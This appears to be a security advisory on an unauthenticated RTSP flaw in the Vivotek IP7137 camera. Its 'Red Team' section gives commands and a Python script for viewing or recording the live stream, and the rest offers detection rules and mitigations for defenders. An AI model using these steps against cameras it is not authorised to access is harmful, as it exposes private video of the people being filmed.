CVE-2025-66049

Executive Summary

CVE-2025-66049 exposes a critical information disclosure vulnerability in the Vivotek IP7137 camera running firmware version 0200a. The device allows unauthenticated access to live video feeds via RTSP on port 8554. This flaw enables any attacker with network access to view the camera stream without credentials, compromising user privacy and physical security. The vendor has not responded, and since the product is End-of-Life, no patch will be released. This vulnerability is particularly dangerous for IoT deployments where cameras are exposed to the internet.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded IoT device.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The threat level is High due to the ease of exploitation and the sensitive nature of the exposed data (live video feed).

Deep Dive & Mechanics

The Vivotek IP7137 camera runs firmware version 0200a and exposes an RTSP (Real-Time Streaming Protocol) service on TCP port 8554. The vulnerability stems from a missing authentication check on the RTSP endpoint. When an RTSP client (e.g., VLC media player) sends a DESCRIBE request to rtsp://<camera_ip>:8554/live.sdp, the camera responds with the full Session Description Protocol (SDP) data and begins streaming video without requiring any username or password.

The root cause is a configuration oversight in the firmware's RTSP server implementation. The server does not enforce any access control before serving the stream. This is likely due to the device being designed for local-only use, but the service is still accessible over the network.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 0200a): The RTSP server handler in the firmware does not check for authentication tokens before processing DESCRIBE or PLAY requests. The relevant pseudo-code is:

void handle_rtsp_request(request) {
    if (request.method == "DESCRIBE") {
        // No authentication check
        send_sdp_response();
    }
    if (request.method == "PLAY") {
        // No authentication check
        start_streaming();
    }
}

Patched Code (Hypothetical): A patched version would require authentication before serving the stream:

void handle_rtsp_request(request) {
    if (!authenticate(request)) {
        send_401_unauthorized();
        return;
    }
    if (request.method == "DESCRIBE") {
        send_sdp_response();
    }
    if (request.method == "PLAY") {
        start_streaming();
    }
}

Since no patch exists, this is a permanent vulnerability.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Vivotek IP7137 camera with firmware 0200a.
2. Connect the camera to a local network with IP 192.168.1.100.
3. Ensure the RTSP service is running on port 8554.

Exploitation Steps:

1. Use VLC media player or any RTSP client to connect:

   vlc rtsp://192.168.1.100:8554/live.sdp
   

2. Alternatively, use ffmpeg to capture the stream:

   ffmpeg -i rtsp://192.168.1.100:8554/live.sdp -vcodec copy output.mp4
   

3. For automated scanning, use a Python script:

   import cv2
   cap = cv2.VideoCapture("rtsp://192.168.1.100:8554/live.sdp")
   while True:
       ret, frame = cap.read()
       if ret:
           cv2.imshow('Camera Feed', frame)
           if cv2.waitKey(1) & 0xFF == ord('q'):
               break
   cap.release()
   cv2.destroyAllWindows()
   

Blue Team

Detection Steps:

1. Monitor network traffic for RTSP connections to port 8554 from unexpected IPs.
2. Use the Suricata rule provided in Detection Engineering to alert on unauthenticated RTSP DESCRIBE requests.
3. Isolate the camera on a separate VLAN with strict firewall rules.
4. If possible, disable RTSP or change the default port.

Indicators of Compromise (IOCs)

• Network IOCs:

  • RTSP DESCRIBE requests to port 8554 without prior authentication.
  • SDP responses containing m=video lines from the camera.
  • Unusual outbound traffic from the camera to external IPs (if stream is being forwarded).

• Host IOCs:

  • Camera firmware version 0200a.
  • Open port 8554 on the device.

• File IOCs:

  • Captured video files with metadata indicating Vivotek IP7137.

Detection Engineering

YARA Rule

rule CVE_2025_66049_RTSP_Unauth {
    meta:
        description = "Detects unauthenticated RTSP DESCRIBE responses from Vivotek IP7137"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-66049"
    strings:
        $sdp = "m=video" ascii
        $rtsp_ok = "RTSP/1.0 200 OK" ascii
        $vivotek = "Vivotek" ascii
    condition:
        $rtsp_ok at 0 and $sdp and $vivotek
}

Sigma Rule

title: Unauthenticated RTSP Access to Vivotek IP7137
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated RTSP DESCRIBE requests to Vivotek IP7137 cameras
author: Valters IT
date: 2025-04-01
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 8554
        protocol: rtsp
        rtsp.method: DESCRIBE
    condition: selection
falsepositives:
    - Legitimate internal monitoring
level: high

Suricata Rule

alert rtsp any any -> any 8554 (msg:"CVE-2025-66049 Unauthenticated RTSP DESCRIBE to Vivotek IP7137"; flow:to_server; content:"DESCRIBE"; nocase; content:"rtsp://"; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Since the product is End-of-Life and no patch is available, the following mitigations are recommended:

1. Network Segmentation: Place the camera on an isolated VLAN with strict firewall rules. Block inbound access to port 8554 from untrusted networks.
2. Disable RTSP: If the camera's web interface allows, disable the RTSP service entirely.
3. Change Default Port: If RTSP must be used, change the port from 8554 to a non-standard port and restrict access via firewall.
4. Upgrade Hardware: Replace the Vivotek IP7137 with a supported camera model that includes authentication for RTSP.
5. Monitor: Use the provided detection rules to monitor for unauthorized access attempts.

Valters IT
Securing Your Digital Frontier